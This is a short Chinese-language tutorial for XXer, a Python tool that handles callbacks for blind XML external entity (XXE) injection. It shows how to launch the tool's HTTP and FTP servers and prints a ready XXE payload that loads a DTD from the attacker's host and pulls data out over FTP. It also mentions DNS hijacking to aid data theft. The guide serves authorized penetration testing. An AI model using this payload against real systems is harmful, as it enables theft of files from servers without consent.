XXE盲注利用工具XXer使用教程
1. 项目介绍
XXer是一个盲XXE(XML外部实体扩展攻击)注射回调处理器。它通过HTTP和FTP协议来提取信息。该项目最初由ONsec-Lab用Ruby编写,此处为Python语言重写版本。XXer不负责寻找XXE注入点,而是在找到攻击面后,帮助获取有用的信息。对于寻找注入点,建议使用包含DNS回调服务的工具,如Burp Collaborator。
2. 项目快速启动
首先,确保您的环境中已安装Python。然后克隆项目仓库并运行:
git clone https://github.com/TheTwitchy/xxer.git
cd xxer
python xxer.py -H 你的服务器地址
程序将启动HTTP和FTP服务器,并显示用于XXE攻击的载荷。
3. 应用案例和最佳实践
启动XXer
在Kali Linux上启动XXer:
root@kali:~$ python xxer.py -H kali.host.com
程序输出如下,表明HTTP和FTP服务器已启动,并给出了用于XXE攻击的载荷:
info: Starting xxer_httpd on port 8080
info: Starting xxer_ftpd on port 2121
info: Servers started. Use the following payload (with URL-encoding):
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://kali.host.com:8080/ext.dtd">%aaa;%ccc;%ddd;]>
构造载荷并发送
将上述输出的载荷进行URL编码,然后发送到目标服务器的XXE注入点。
获取数据
XXer将通过FTP协议接收到数据。确保你的FTP服务器配置正确,可以接收数据。
4. 典型生态项目
由于XXer专注于XXE攻击的利用阶段,因此在实际的渗透测试中,通常会结合其他工具一起使用。以下是一些可以与之配合的工具:
- Burp Suite: 用于发现XXE漏洞。
- OWASP ZAP: 另一个Web应用安全扫描工具,也可以发现XXE漏洞。
- DNSMasq: 可用于DNS劫持,配合XXer进行数据窃取。
确保在使用上述工具时,遵循合法合规的原则,仅在授权的环境中进行操作。